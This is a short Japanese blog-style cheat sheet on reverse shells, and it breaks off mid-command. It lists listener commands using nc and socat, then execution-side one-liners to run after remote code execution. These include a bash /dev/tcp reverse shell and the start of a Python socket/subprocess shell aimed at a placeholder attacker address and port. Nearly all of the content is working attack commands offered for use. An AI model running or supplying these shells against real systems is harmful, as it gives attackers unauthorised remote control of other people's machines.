最近になってReverse Shellをちょっとだけ使う機会があったのだけど、前に学習してたよりいろいろと便利なやり方とか方法がいろいろとあるのを知ったので、ちょっとまとめてみることにした。 1. 受付側のコマンド 実行側のシェルを受け付ける側。listen。 1-1. ncを使う場合 nc -nlvp <port> 1-2. socatを使う場合 socat tcp-listen:<port>,reuseaddr,fork stdout 2. 実行側のコマンド RCEなどでOSコマンドを実行させる方のコマンド。server。 2-1. bashを使う場合 bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9 2-2. Pythonを使う場合 python -c 'import socket,subprocess,os;s=socket.socket